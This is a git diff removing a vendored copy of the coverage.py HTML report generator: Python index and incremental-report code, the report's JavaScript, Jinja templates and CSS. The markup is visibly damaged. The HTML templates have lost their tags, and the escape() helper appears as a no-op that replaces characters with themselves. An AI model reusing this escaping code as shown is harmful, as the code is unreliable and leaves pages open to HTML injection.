outside_lines -= region.lines - analysis = ftr.analysis.narrow(region.lines) - if not self.should_report(analysis, page_data): - continue - sorting_name = region.name.rpartition(".")[-1].lstrip("_") - page_data.summaries.append(IndexItem( - url=f"{ftr.html_filename}#t{region.start}", - file=escape(ftr.fr.relative_filename()), - description=( - f"" - + escape(region.name) - + "" - ), - nums=analysis.numbers, - )) - - analysis = ftr.analysis.narrow(outside_lines) - if self.should_report(analysis, page_data): - page_data.summaries.append(IndexItem( - url=ftr.html_filename, - file=escape(ftr.fr.relative_filename()), - description=( - "" - + f"(no {escape(noun)})" - + "" - ), - nums=analysis.numbers, - )) - - for noun, index_page in self.index_pages.items(): - if noun != "file": - self.write_index_page(index_page) - - def write_index_page(self, index_page: IndexPage, **kwargs: str) -> str: - """Write an index page specified by `index_page`. - - Returns the filename created. - """ - skipped_covered_msg = skipped_empty_msg = "" - if n := index_page.skipped_covered_count: - word = plural(n, index_page.noun, index_page.plural) - skipped_covered_msg = f"{n} {word} skipped due to complete coverage." - if n := index_page.skipped_empty_count: - word = plural(n, index_page.noun, index_page.plural) - skipped_empty_msg = f"{n} empty {word} skipped." - - index_buttons = [ - { - "label": ip.plural.title(), - "url": ip.filename if ip.noun != index_page.noun else "", - "current": ip.noun == index_page.noun, - } - for ip in self.index_pages.values() - ] - render_data = { - "regions": index_page.summaries, - "totals": index_page.totals, - "noun": index_page.noun, - "region_noun": index_page.noun if index_page.noun != "file" else "", - "skip_covered": self.skip_covered, - "skipped_covered_msg": skipped_covered_msg, - "skipped_empty_msg": skipped_empty_msg, - "first_html": "", - "final_html": "", - "index_buttons": index_buttons, - } - render_data.update(kwargs) - html = self.index_tmpl.render(render_data) - - index_file = os.path.join(self.directory, index_page.filename) - write_html(index_file, html) - return index_file - - -@dataclass -class FileInfo: - """Summary of the information from last rendering, to avoid duplicate work.""" - hash: str = "" - index: IndexItem = field(default_factory=IndexItem) - - -class IncrementalChecker: - """Logic and data to support incremental reporting. - - When generating an HTML report, often only a few of the source files have - changed since the last time we made the HTML report. This means previously - created HTML pages can be reused without generating them again, speeding - the command. - - This class manages a JSON data file that captures enough information to - know whether an HTML page for a .py file needs to be regenerated or not. - The data file also needs to store all the information needed to create the - entry for the file on the index page so that if the HTML page is reused, - the index page can still be created to refer to it. - - The data looks like:: - - { - "note": "This file is an internal implementation detail ...", - // A fixed number indicating the data format. STATUS_FORMAT - "format": 5, - // The version of coverage.py - "version": "7.4.4", - // A hash of a number of global things, including the configuration - // settings and the pyfile.html template itself. - "globals": "540ee119c15d52a68a53fe6f0897346d", - "files": { - // An entry for each source file keyed by the flat_rootname(). - "z_7b071bdc2a35fa80___init___py": { - // Hash of the source, the text of the .py file. - "hash": "e45581a5b48f879f301c0f30bf77a50c", - // Information for the index.html file. - "index": { - "url": "z_7b071bdc2a35fa80___init___py.html", - "file": "cogapp/__init__.py", - "description": "", - // The Numbers for this file. - "nums": { "precision": 2, "n_files": 1, "n_statements": 43, ... } - } - }, - ... - } - } - - """ - - STATUS_FILE = "status.json" - STATUS_FORMAT = 5 - NOTE = ( - "This file is an internal implementation detail to speed up HTML report" - + " generation. Its format can change at any time. You might be looking" - + " for the JSON report: https://coverage.rtfd.io/cmd.html#cmd-json" - ) - - def __init__(self, directory: str) -> None: - self.directory = directory - self._reset() - - def _reset(self) -> None: - """Initialize to empty. Causes all files to be reported.""" - self.globals = "" - self.files: dict[str, FileInfo] = {} - - def read(self) -> None: - """Read the information we stored last time.""" - try: - status_file = os.path.join(self.directory, self.STATUS_FILE) - with open(status_file, encoding="utf-8") as fstatus: - status = json.load(fstatus) - except (OSError, ValueError): - # Status file is missing or malformed. - usable = False - else: - if status["format"] != self.STATUS_FORMAT: - usable = False - elif status["version"] != coverage.__version__: - usable = False - else: - usable = True - - if usable: - self.files = {} - for filename, filedict in status["files"].items(): - indexdict = filedict["index"] - index_item = IndexItem(**indexdict) - index_item.nums = Numbers(**indexdict["nums"]) - fileinfo = FileInfo( - hash=filedict["hash"], - index=index_item, - ) - self.files[filename] = fileinfo - self.globals = status["globals"] - else: - self._reset() - - def write(self) -> None: - """Write the current status.""" - status_file = os.path.join(self.directory, self.STATUS_FILE) - status_data = { - "note": self.NOTE, - "format": self.STATUS_FORMAT, - "version": coverage.__version__, - "globals": self.globals, - "files": { - fname: dataclasses.asdict(finfo) - for fname, finfo in self.files.items() - }, - } - with open(status_file, "w", encoding="utf-8") as fout: - json.dump(status_data, fout, separators=(",", ":")) - - def check_global_data(self, *data: Any) -> None: - """Check the global data that can affect incremental reporting. - - Pass in whatever global information could affect the content of the - HTML pages. If the global data has changed since last time, this will - clear the data so that all files are regenerated. - - """ - m = Hasher() - for d in data: - m.update(d) - these_globals = m.hexdigest() - if self.globals != these_globals: - self._reset() - self.globals = these_globals - - def can_skip_file(self, data: CoverageData, fr: FileReporter, rootname: str) -> bool: - """Can we skip reporting this file? - - `data` is a CoverageData object, `fr` is a `FileReporter`, and - `rootname` is the name being used for the file. - - Returns True if the HTML page is fine as-is, False if we need to recreate - the HTML page. - - """ - m = Hasher() - m.update(fr.source().encode("utf-8")) - add_data_to_hash(data, fr.filename, m) - this_hash = m.hexdigest() - - file_info = self.files.setdefault(rootname, FileInfo()) - - if this_hash == file_info.hash: - # Nothing has changed to require the file to be reported again. - return True - else: - # File has changed, record the latest hash and force regeneration. - file_info.hash = this_hash - return False - - def index_info(self, fname: str) -> IndexItem: - """Get the information for index.html for `fname`.""" - return self.files.get(fname, FileInfo()).index - - def set_index_info(self, fname: str, info: IndexItem) -> None: - """Set the information for index.html for `fname`.""" - self.files.setdefault(fname, FileInfo()).index = info - - -# Helpers for templates and generating HTML - -def escape(t: str) -> str: - """HTML-escape the text in `t`. - - This is only suitable for HTML text, not attributes. - - """ - # Convert HTML special chars into HTML entities. - return t.replace("&", "&").replace("<", "<") - - -def pair(ratio: tuple[int, int]) -> str: - """Format a pair of numbers so JavaScript can read them in an attribute.""" - return "{} {}".format(*ratio) diff --git a/backend/venv/Lib/site-packages/coverage/htmlfiles/coverage_html.js b/backend/venv/Lib/site-packages/coverage/htmlfiles/coverage_html.js deleted file mode 100644 index 1face13d..00000000 --- a/backend/venv/Lib/site-packages/coverage/htmlfiles/coverage_html.js +++ /dev/null @@ -1,733 +0,0 @@ -// Licensed under the Apache License: http://www.apache.org/licenses/LICENSE-2.0 -// For details: https://github.com/nedbat/coveragepy/blob/master/NOTICE.txt - -// Coverage.py HTML report browser code. -/*jslint browser: true, sloppy: true, vars: true, plusplus: true, maxerr: 50, indent: 4 */ -/*global coverage: true, document, window, $ */ - -coverage = {}; - -// General helpers -function debounce(callback, wait) { - let timeoutId = null; - return function(...args) { - clearTimeout(timeoutId); - timeoutId = setTimeout(() => { - callback.apply(this, args); - }, wait); - }; -}; - -function checkVisible(element) { - const rect = element.getBoundingClientRect(); - const viewBottom = Math.max(document.documentElement.clientHeight, window.innerHeight); - const viewTop = 30; - return !(rect.bottom < viewTop || rect.top >= viewBottom); -} - -function on_click(sel, fn) { - const elt = document.querySelector(sel); - if (elt) { - elt.addEventListener("click", fn); - } -} - -// Helpers for table sorting -function getCellValue(row, column = 0) { - const cell = row.cells[column] // nosemgrep: eslint.detect-object-injection - if (cell.childElementCount == 1) { - var child = cell.firstElementChild; - if (child.tagName === "A") { - child = child.firstElementChild; - } - if (child instanceof HTMLDataElement && child.value) { - return child.value; - } - } - return cell.innerText || cell.textContent; -} - -function rowComparator(rowA, rowB, column = 0) { - let valueA = getCellValue(rowA, column); - let valueB = getCellValue(rowB, column); - if (!isNaN(valueA) && !isNaN(valueB)) { - return valueA - valueB; - } - return valueA.localeCompare(valueB, undefined, {numeric: true}); -} - -function sortColumn(th) { - // Get the current sorting direction of the selected header, - // clear state on other headers and then set the new sorting direction. - const currentSortOrder = th.getAttribute("aria-sort"); - [...th.parentElement.cells].forEach(header => header.setAttribute("aria-sort", "none")); - var direction; - if (currentSortOrder === "none") { - direction = th.dataset.defaultSortOrder || "ascending"; - } - else if (currentSortOrder === "ascending") { - direction = "descending"; - } - else { - direction = "ascending"; - } - th.setAttribute("aria-sort", direction); - - const column = [...th.parentElement.cells].indexOf(th) - - // Sort all rows and afterwards append them in order to move them in the DOM. - Array.from(th.closest("table").querySelectorAll("tbody tr")) - .sort((rowA, rowB) => rowComparator(rowA, rowB, column) * (direction === "ascending" ? 1 : -1)) - .forEach(tr => tr.parentElement.appendChild(tr)); - - // Save the sort order for next time. - if (th.id !== "region") { - let th_id = "file"; // Sort by file if we don't have a column id - let current_direction = direction; - const stored_list = localStorage.getItem(coverage.INDEX_SORT_STORAGE); - if (stored_list) { - ({th_id, direction} = JSON.parse(stored_list)) - } - localStorage.setItem(coverage.INDEX_SORT_STORAGE, JSON.stringify({ - "th_id": th.id, - "direction": current_direction - })); - if (th.id !== th_id || document.getElementById("region")) { - // Sort column has changed, unset sorting by function or class. - localStorage.setItem(coverage.SORTED_BY_REGION, JSON.stringify({ - "by_region": false, - "region_direction": current_direction - })); - } - } - else { - // Sort column has changed to by function or class, remember that. - localStorage.setItem(coverage.SORTED_BY_REGION, JSON.stringify({ - "by_region": true, - "region_direction": direction - })); - } -} - -// Find all the elements with data-shortcut attribute, and use them to assign a shortcut key. -coverage.assign_shortkeys = function () { - document.querySelectorAll("[data-shortcut]").forEach(element => { - document.addEventListener("keypress", event => { - if (event.target.tagName.toLowerCase() === "input") { - return; // ignore keypress from search filter - } - if (event.key === element.dataset.shortcut) { - element.click(); - } - }); - }); -}; - -// Create the events for the filter box. -coverage.wire_up_filter = function () { - // Populate the filter and hide100 inputs if there are saved values for them. - const saved_filter_value = localStorage.getItem(coverage.FILTER_STORAGE); - if (saved_filter_value) { - document.getElementById("filter").value = saved_filter_value; - } - const saved_hide100_value = localStorage.getItem(coverage.HIDE100_STORAGE); - if (saved_hide100_value) { - document.getElementById("hide100").checked = JSON.parse(saved_hide100_value); - } - - // Cache elements. - const table = document.querySelector("table.index"); - const table_body_rows = table.querySelectorAll("tbody tr"); - const no_rows = document.getElementById("no_rows"); - - // Observe filter keyevents. - const filter_handler = (event => { - // Keep running total of each metric, first index contains number of shown rows - const totals = new Array(table.rows[0].cells.length).fill(0); - // Accumulate the percentage as fraction - totals[totals.length - 1] = { "numer": 0, "denom": 0 }; // nosemgrep: eslint.detect-object-injection - - var text = document.getElementById("filter").value; - // Store filter value - localStorage.setItem(coverage.FILTER_STORAGE, text); - const casefold = (text === text.toLowerCase()); - const hide100 = document.getElementById("hide100").checked; - // Store hide value. - localStorage.setItem(coverage.HIDE100_STORAGE, JSON.stringify(hide100)); - - // Hide / show elements. - table_body_rows.forEach(row => { - var show = false; - // Check the text filter. - for (let column = 0; column < totals.length; column++) { - cell = row.cells[column]; - if (cell.classList.contains("name")) { - var celltext = cell.textContent; - if (casefold) { - celltext = celltext.toLowerCase(); - } - if (celltext.includes(text)) { - show = true; - } - } - } - - // Check the "hide covered" filter. - if (show && hide100) { - const [numer, denom] = row.cells[row.cells.length - 1].dataset.ratio.split(" "); - show = (numer !== denom); - } - - if (!show) { - // hide - row.classList.add("hidden"); - return; - } - - // show - row.classList.remove("hidden"); - totals[0]++; - - for (let column = 0; column < totals.length; column++) { - // Accumulate dynamic totals - cell = row.cells[column] // nosemgrep: eslint.detect-object-injection - if (cell.classList.contains("name")) { - continue; - } - if (column === totals.length - 1) { - // Last column contains percentage - const [numer, denom] = cell.dataset.ratio.split(" "); - totals[column]["numer"] += parseInt(numer, 10); // nosemgrep: eslint.detect-object-injection - totals[column]["denom"] += parseInt(denom, 10); // nosemgrep: eslint.detect-object-injection - } - else { - totals[column] += parseInt(cell.textContent, 10); // nosemgrep: eslint.detect-object-injection - } - } - }); - - // Show placeholder if no rows will be displayed. - if (!totals[0]) { - // Show placeholder, hide table. - no_rows.style.display = "block"; - table.style.display = "none"; - return; - } - - // Hide placeholder, show table. - no_rows.style.display = null; - table.style.display = null; - - const footer = table.tFoot.rows[0]; - // Calculate new dynamic sum values based on visible rows. - for (let column = 0; column < totals.length; column++) { - // Get footer cell element. - const cell = footer.cells[column]; // nosemgrep: eslint.detect-object-injection - if (cell.classList.contains("name")) { - continue; - } - - // Set value into dynamic footer cell element. - if (column === totals.length - 1) { - // Percentage column uses the numerator and denominator, - // and adapts to the number of decimal places. - const match = /\.([0-9]+)/.exec(cell.textContent); - const places = match ? match[1].length : 0; - const { numer, denom } = totals[column]; // nosemgrep: eslint.detect-object-injection - cell.dataset.ratio = `${numer} ${denom}`; - // Check denom to prevent NaN if filtered files contain no statements - cell.textContent = denom - ? `${(numer * 100 / denom).toFixed(places)}%` - : `${(100).toFixed(places)}%`; - } - else { - cell.textContent = totals[column]; // nosemgrep: eslint.detect-object-injection - } - } - }); - - document.getElementById("filter").addEventListener("input", debounce(filter_handler)); - document.getElementById("hide100").addEventListener("input", debounce(filter_handler)); - - // Trigger change event on setup, to force filter on page refresh - // (filter value may still be present). - document.getElementById("filter").dispatchEvent(new Event("input")); - document.getElementById("hide100").dispatchEvent(new Event("input")); -}; -coverage.FILTER_STORAGE = "COVERAGE_FILTER_VALUE"; -coverage.HIDE100_STORAGE = "COVERAGE_HIDE100_VALUE"; - -// Set up the click-to-sort columns. -coverage.wire_up_sorting = function () { - document.querySelectorAll("[data-sortable] th[aria-sort]").forEach( - th => th.addEventListener("click", e => sortColumn(e.target)) - ); - - // Look for a localStorage item containing previous sort settings: - let th_id = "file", direction = "ascending"; - const stored_list = localStorage.getItem(coverage.INDEX_SORT_STORAGE); - if (stored_list) { - ({th_id, direction} = JSON.parse(stored_list)); - } - let by_region = false, region_direction = "ascending"; - const sorted_by_region = localStorage.getItem(coverage.SORTED_BY_REGION); - if (sorted_by_region) { - ({ - by_region, - region_direction - } = JSON.parse(sorted_by_region)); - } - - const region_id = "region"; - if (by_region && document.getElementById(region_id)) { - direction = region_direction; - } - // If we are in a page that has a column with id of "region", sort on - // it if the last sort was by function or class. - let th; - if (document.getElementById(region_id)) { - th = document.getElementById(by_region ? region_id : th_id); - } - else { - th = document.getElementById(th_id); - } - th.setAttribute("aria-sort", direction === "ascending" ? "descending" : "ascending"); - th.click() -}; - -coverage.INDEX_SORT_STORAGE = "COVERAGE_INDEX_SORT_2"; -coverage.SORTED_BY_REGION = "COVERAGE_SORT_REGION"; - -// Loaded on index.html -coverage.index_ready = function () { - coverage.assign_shortkeys(); - coverage.wire_up_filter(); - coverage.wire_up_sorting(); - - on_click(".button_prev_file", coverage.to_prev_file); - on_click(".button_next_file", coverage.to_next_file); - - on_click(".button_show_hide_help", coverage.show_hide_help); -}; - -// -- pyfile stuff -- - -coverage.LINE_FILTERS_STORAGE = "COVERAGE_LINE_FILTERS"; - -coverage.pyfile_ready = function () { - // If we're directed to a particular line number, highlight the line. - var frag = location.hash; - if (frag.length > 2 && frag[1] === "t") { - document.querySelector(frag).closest(".n").classList.add("highlight"); - coverage.set_sel(parseInt(frag.substr(2), 10)); - } - else { - coverage.set_sel(0); - } - - on_click(".button_toggle_run", coverage.toggle_lines); - on_click(".button_toggle_mis", coverage.toggle_lines); - on_click(".button_toggle_exc", coverage.toggle_lines); - on_click(".button_toggle_par", coverage.toggle_lines); - - on_click(".button_next_chunk", coverage.to_next_chunk_nicely); - on_click(".button_prev_chunk", coverage.to_prev_chunk_nicely); - on_click(".button_top_of_page", coverage.to_top); - on_click(".button_first_chunk", coverage.to_first_chunk); - - on_click(".button_prev_file", coverage.to_prev_file); - on_click(".button_next_file", coverage.to_next_file); - on_click(".button_to_index", coverage.to_index); - - on_click(".button_show_hide_help", coverage.show_hide_help); - - coverage.filters = undefined; - try { - coverage.filters = localStorage.getItem(coverage.LINE_FILTERS_STORAGE); - } catch(err) {} - - if (coverage.filters) { - coverage.filters = JSON.parse(coverage.filters); - } - else { - coverage.filters = {run: false, exc: true, mis: true, par: true}; - } - - for (cls in coverage.filters) { - coverage.set_line_visibilty(cls, coverage.filters[cls]); // nosemgrep: eslint.detect-object-injection - } - - coverage.assign_shortkeys(); - coverage.init_scroll_markers(); - coverage.wire_up_sticky_header(); - - document.querySelectorAll("[id^=ctxs]").forEach( - cbox => cbox.addEventListener("click", coverage.expand_contexts) - ); - - // Rebuild scroll markers when the window height changes. - window.addEventListener("resize", coverage.build_scroll_markers); -}; - -coverage.toggle_lines = function (event) { - const btn = event.target.closest("button"); - const category = btn.value - const show = !btn.classList.contains("show_" + category); - coverage.set_line_visibilty(category, show); - coverage.build_scroll_markers(); - coverage.filters[category] = show; - try { - localStorage.setItem(coverage.LINE_FILTERS_STORAGE, JSON.stringify(coverage.filters)); - } catch(err) {} -}; - -coverage.set_line_visibilty = function (category, should_show) { - const cls = "show_" + category; - const btn = document.querySelector(".button_toggle_" + category); - if (btn) { - if (should_show) { - document.querySelectorAll("#source ." + category).forEach(e => e.classList.add(cls)); - btn.classList.add(cls); - } - else { - document.querySelectorAll("#source ." + category).forEach(e => e.classList.remove(cls)); - btn.classList.remove(cls); - } - } -}; - -// Return the nth line div. -coverage.line_elt = function (n) { - return document.getElementById("t" + n)?.closest("p"); -}; - -// Set the selection. b and e are line numbers. -coverage.set_sel = function (b, e) { - // The first line selected. - coverage.sel_begin = b; - // The next line not selected. - coverage.sel_end = (e === undefined) ? b+1 : e; -}; - -coverage.to_top = function () { - coverage.set_sel(0, 1); - coverage.scroll_window(0); -}; - -coverage.to_first_chunk = function () { - coverage.set_sel(0, 1); - coverage.to_next_chunk(); -}; - -coverage.to_prev_file = function () { - window.location = document.getElementById("prevFileLink").href; -} - -coverage.to_next_file = function () { - window.location = document.getElementById("nextFileLink").href; -} - -coverage.to_index = function () { - location.href = document.getElementById("indexLink").href; -} - -coverage.show_hide_help = function () { - const helpCheck = document.getElementById("help_panel_state") - helpCheck.checked = !helpCheck.checked; -} - -// Return a string indicating what kind of chunk this line belongs to, -// or null if not a chunk. -coverage.chunk_indicator = function (line_elt) { - const classes = line_elt?.className; - if (!classes) { - return null; - } - const match = classes.match(/\bshow_\w+\b/); - if (!match) { - return null; - } - return match[0]; -}; - -coverage.to_next_chunk = function () { - const c = coverage; - - // Find the start of the next colored chunk. - var probe = c.sel_end; - var chunk_indicator, probe_line; - while (true) { - probe_line = c.line_elt(probe); - if (!probe_line) { - return; - } - chunk_indicator = c.chunk_indicator(probe_line); - if (chunk_indicator) { - break; - } - probe++; - } - - // There's a next chunk, `probe` points to it. - var begin = probe; - - // Find the end of this chunk. - var next_indicator = chunk_indicator; - while (next_indicator === chunk_indicator) { - probe++; - probe_line = c.line_elt(probe); - next_indicator = c.chunk_indicator(probe_line); - } - c.set_sel(begin, probe); - c.show_selection(); -}; - -coverage.to_prev_chunk = function () { - const c = coverage; - - // Find the end of the prev colored chunk. - var probe = c.sel_begin-1; - var probe_line = c.line_elt(probe); - if (!probe_line) { - return; - } - var chunk_indicator = c.chunk_indicator(probe_line); - while (probe > 1 && !chunk_indicator) { - probe--; - probe_line = c.line_elt(probe); - if (!probe_line) { - return; - } - chunk_indicator = c.chunk_indicator(probe_line); - } - - // There's a prev chunk, `probe` points to its last line. - var end = probe+1; - - // Find the beginning of this chunk. - var prev_indicator = chunk_indicator; - while (prev_indicator === chunk_indicator) { - probe--; - if (probe <= 0) { - return; - } - probe_line = c.line_elt(probe); - prev_indicator = c.chunk_indicator(probe_line); - } - c.set_sel(probe+1, end); - c.show_selection(); -}; - -// Returns 0, 1, or 2: how many of the two ends of the selection are on -// the screen right now? -coverage.selection_ends_on_screen = function () { - if (coverage.sel_begin === 0) { - return 0; - } - - const begin = coverage.line_elt(coverage.sel_begin); - const end = coverage.line_elt(coverage.sel_end-1); - - return ( - (checkVisible(begin) ? 1 : 0) - + (checkVisible(end) ? 1 : 0) - ); -}; - -coverage.to_next_chunk_nicely = function () { - if (coverage.selection_ends_on_screen() === 0) { - // The selection is entirely off the screen: - // Set the top line on the screen as selection. - - // This will select the top-left of the viewport - // As this is most likely the span with the line number we take the parent - const line = document.elementFromPoint(0, 0).parentElement; - if (line.parentElement !== document.getElementById("source")) { - // The element is not a source line but the header or similar - coverage.select_line_or_chunk(1); - } - else { - // We extract the line number from the id - coverage.select_line_or_chunk(parseInt(line.id.substring(1), 10)); - } - } - coverage.to_next_chunk(); -}; - -coverage.to_prev_chunk_nicely = function () { - if (coverage.selection_ends_on_screen() === 0) { - // The selection is entirely off the screen: - // Set the lowest line on the screen as selection. - - // This will select the bottom-left of the viewport - // As this is most likely the span with the line number we take the parent - const line = document.elementFromPoint(document.documentElement.clientHeight-1, 0).parentElement; - if (line.parentElement !== document.getElementById("source")) { - // The element is not a source line but the header or similar - coverage.select_line_or_chunk(coverage.lines_len); - } - else { - // We extract the line number from the id - coverage.select_line_or_chunk(parseInt(line.id.substring(1), 10)); - } - } - coverage.to_prev_chunk(); -}; - -// Select line number lineno, or if it is in a colored chunk, select the -// entire chunk -coverage.select_line_or_chunk = function (lineno) { - var c = coverage; - var probe_line = c.line_elt(lineno); - if (!probe_line) { - return; - } - var the_indicator = c.chunk_indicator(probe_line); - if (the_indicator) { - // The line is in a highlighted chunk. - // Search backward for the first line. - var probe = lineno; - var indicator = the_indicator; - while (probe > 0 && indicator === the_indicator) { - probe--; - probe_line = c.line_elt(probe); - if (!probe_line) { - break; - } - indicator = c.chunk_indicator(probe_line); - } - var begin = probe + 1; - - // Search forward for the last line. - probe = lineno; - indicator = the_indicator; - while (indicator === the_indicator) { - probe++; - probe_line = c.line_elt(probe); - indicator = c.chunk_indicator(probe_line); - } - - coverage.set_sel(begin, probe); - } - else { - coverage.set_sel(lineno); - } -}; - -coverage.show_selection = function () { - // Highlight the lines in the chunk - document.querySelectorAll("#source .highlight").forEach(e => e.classList.remove("highlight")); - for (let probe = coverage.sel_begin; probe < coverage.sel_end; probe++) { - coverage.line_elt(probe).querySelector(".n").classList.add("highlight"); - } - - coverage.scroll_to_selection(); -}; - -coverage.scroll_to_selection = function () { - // Scroll the page if the chunk isn't fully visible. - if (coverage.selection_ends_on_screen() < 2) { - const element = coverage.line_elt(coverage.sel_begin); - coverage.scroll_window(element.offsetTop - 60); - } -}; - -coverage.scroll_window = function (to_pos) { - window.scroll({top: to_pos, behavior: "smooth"}); -}; - -coverage.init_scroll_markers = function () { - // Init some variables - coverage.lines_len = document.querySelectorAll("#source > p").length; - - // Build html - coverage.build_scroll_markers(); -}; - -coverage.build_scroll_markers = function () { - const temp_scroll_marker = document.getElementById("scroll_marker") - if (temp_scroll_marker) temp_scroll_marker.remove(); - // Don't build markers if the window has no scroll bar. - if (document.body.scrollHeight <= window.innerHeight) { - return; - } - - const marker_scale = window.innerHeight / document.body.scrollHeight; - const line_height = Math.min(Math.max(3, window.innerHeight / coverage.lines_len), 10); - - let previous_line = -99, last_mark, last_top; - - const scroll_marker = document.createElement("div"); - scroll_marker.id = "scroll_marker"; - document.getElementById("source").querySelectorAll( - "p.show_run, p.show_mis, p.show_exc, p.show_exc, p.show_par" - ).forEach(element => { - const line_top = Math.floor(element.offsetTop * marker_scale); - const line_number = parseInt(element.querySelector(".n a").id.substr(1)); - - if (line_number === previous_line + 1) { - // If this solid missed block just make previous mark higher. - last_mark.style.height = `${line_top + line_height - last_top}px`; - } - else { - // Add colored line in scroll_marker block. - last_mark = document.createElement("div"); - last_mark.id = `m${line_number}`; - last_mark.classList.add("marker"); - last_mark.style.height = `${line_height}px`; - last_mark.style.top = `${line_top}px`; - scroll_marker.append(last_mark); - last_top = line_top; - } - - previous_line = line_number; - }); - - // Append last to prevent layout calculation - document.body.append(scroll_marker); -}; - -coverage.wire_up_sticky_header = function () { - const header = document.querySelector("header"); - const header_bottom = ( - header.querySelector(".content h2").getBoundingClientRect().top - - header.getBoundingClientRect().top - ); - - function updateHeader() { - if (window.scrollY > header_bottom) { - header.classList.add("sticky"); - } - else { - header.classList.remove("sticky"); - } - } - - window.addEventListener("scroll", updateHeader); - updateHeader(); -}; - -coverage.expand_contexts = function (e) { - var ctxs = e.target.parentNode.querySelector(".ctxs"); - - if (!ctxs.classList.contains("expanded")) { - var ctxs_text = ctxs.textContent; - var width = Number(ctxs_text[0]); - ctxs.textContent = ""; - for (var i = 1; i < ctxs_text.length; i += width) { - key = ctxs_text.substring(i, i + width).trim(); - ctxs.appendChild(document.createTextNode(contexts[key])); - ctxs.appendChild(document.createElement("br")); - } - ctxs.classList.add("expanded"); - } -}; - -document.addEventListener("DOMContentLoaded", () => { - if (document.body.classList.contains("indexfile")) { - coverage.index_ready(); - } - else { - coverage.pyfile_ready(); - } -}); diff --git a/backend/venv/Lib/site-packages/coverage/htmlfiles/favicon_32.png b/backend/venv/Lib/site-packages/coverage/htmlfiles/favicon_32.png deleted file mode 100644 index 8649f047..00000000 Binary files a/backend/venv/Lib/site-packages/coverage/htmlfiles/favicon_32.png and /dev/null differ diff --git a/backend/venv/Lib/site-packages/coverage/htmlfiles/index.html b/backend/venv/Lib/site-packages/coverage/htmlfiles/index.html deleted file mode 100644 index e856011d..00000000 --- a/backend/venv/Lib/site-packages/coverage/htmlfiles/index.html +++ /dev/null @@ -1,164 +0,0 @@ -{# Licensed under the Apache License: http://www.apache.org/licenses/LICENSE-2.0 #} -{# For details: https://github.com/nedbat/coveragepy/blob/master/NOTICE.txt #} - - - - - - {{ title|escape }} - - - {% if extra_css %} - - {% endif %} - - - - -
-
-

{{ title|escape }}: - {{totals.pc_covered_str}}% -

- - - -
- -
- - -
-
- -

- {% for ibtn in index_buttons %} - {{ ibtn.label }}{#-#} - {% endfor %} -

- -

- coverage.py v{{__version__}}, - created at {{ time_stamp }} -

-
-
- -
- - - {# The title="" attr doesn't work in Safari. #} - - - {% if region_noun %} - - {% endif %} - - - - {% if has_arcs %} - - - {% endif %} - - - - - {% for region in regions %} - - - {% if region_noun %} - - {% endif %} - - - - {% if has_arcs %} - - - {% endif %} - - - {% endfor %} - - - - - {% if region_noun %} - - {% endif %} - - - - {% if has_arcs %} - - - {% endif %} - - - -
File{{ region_noun }}statementsmissingexcludedbranchespartialcoverage
{{region.file}}{{region.description}}{{region.nums.n_statements}}{{region.nums.n_missing}}{{region.nums.n_excluded}}{{region.nums.n_branches}}{{region.nums.n_partial_branches}}{{region.nums.pc_covered_str}}%
Total {{totals.n_statements}}{{totals.n_missing}}{{totals.n_excluded}}{{totals.n_branches}}{{totals.n_partial_branches}}{{totals.pc_covered_str}}%
- -

- No items found using the specified filter. -

- - {% if skipped_covered_msg %} -

{{ skipped_covered_msg }}

- {% endif %} - {% if skipped_empty_msg %} -

{{ skipped_empty_msg }}

- {% endif %} -
- - - - - diff --git a/backend/venv/Lib/site-packages/coverage/htmlfiles/keybd_closed.png b/backend/venv/Lib/site-packages/coverage/htmlfiles/keybd_closed.png deleted file mode 100644 index ba119c47..00000000 Binary files a/backend/venv/Lib/site-packages/coverage/htmlfiles/keybd_closed.png and /dev/null differ diff --git a/backend/venv/Lib/site-packages/coverage/htmlfiles/pyfile.html b/backend/venv/Lib/site-packages/coverage/htmlfiles/pyfile.html deleted file mode 100644 index 5a6ea43d..00000000 --- a/backend/venv/Lib/site-packages/coverage/htmlfiles/pyfile.html +++ /dev/null @@ -1,149 +0,0 @@ -{# Licensed under the Apache License: http://www.apache.org/licenses/LICENSE-2.0 #} -{# For details: https://github.com/nedbat/coveragepy/blob/master/NOTICE.txt #} - - - - - - Coverage for {{relative_filename|escape}}: {{nums.pc_covered_str}}% - - - {% if extra_css %} - - {% endif %} - - {% if contexts_json %} - - {% endif %} - - - - - -
-
-

- Coverage for {{relative_filename|escape}}: - {{nums.pc_covered_str}}% -

- - - -

- {{nums.n_statements}} statements   - - - - {% if has_arcs %} - - {% endif %} -

- -

- « prev     - ^ index     - » next -       - coverage.py v{{__version__}}, - created at {{ time_stamp }} -

- - -
-
- -
- {% for line in lines -%} - {% joined %} -

- {{line.number}} - {{line.html}}  - {% if line.context_list %} - - {% endif %} - {# Things that should float right in the line. #} - - {% if line.annotate %} - {{line.annotate}} - {{line.annotate_long}} - {% endif %} - {% if line.contexts %} - - {% endif %} - - {# Things that should appear below the line. #} - {% if line.context_str %} - {{ line.context_str }} - {% endif %} -

- {% endjoined %} - {% endfor %} -
- - - - - diff --git a/backend/venv/Lib/site-packages/coverage/htmlfiles/style.css b/backend/venv/Lib/site-packages/coverage/htmlfiles/style.css deleted file mode 100644 index e54e87ae..00000000 --- a/backend/venv/Lib/site-packages/coverage/htmlfiles/style.css +++ /dev/null @@ -1,337 +0,0 @@ -@charset "UTF-8"; -/* Licensed under the Apache License: http://www.apache.org/licenses/LICENSE-2.0 */ -/* For details: https://github.com/nedbat/coveragepy/blob/master/NOTICE.txt */ -/* Don't edit this .css file. Edit the .scss file instead! */ -html, body, h1, h2, h3, p, table, td, th { margin: 0; padding: 0; border: 0; font-weight: inherit; font-style: inherit; font-size: 100%; font-family: inherit; vertical-align: baseline; } - -body { font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Ubuntu, Cantarell, "Helvetica Neue", sans-serif; font-size: 1em; background: #fff; color: #000; } - -@media (prefers-color-scheme: dark) { body { background: #1e1e1e; } } - -@media (prefers-color-scheme: dark) { body { color: #eee; } } - -html > body { font-size: 16px; } - -a:active, a:focus { outline: 2px dashed #007acc; } - -p { font-size: .875em; line-height: 1.4em; } - -table { border-collapse: collapse; } - -td { vertical-align: top; } - -table tr.hidden { display: none !important; } - -p#no_rows { display: none; font-size: 1.15em; font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Ubuntu, Cantarell, "Helvetica Neue", sans-serif; } - -a.nav { text-decoration: none; color: inherit; } - -a.nav:hover { text-decoration: underline; color: inherit; } - -.hidden { display: none; } - -header { background: #f8f8f8; width: 100%; z-index: 2; border-bottom: 1px solid #ccc; } - -@media (prefers-color-scheme: dark) { header { 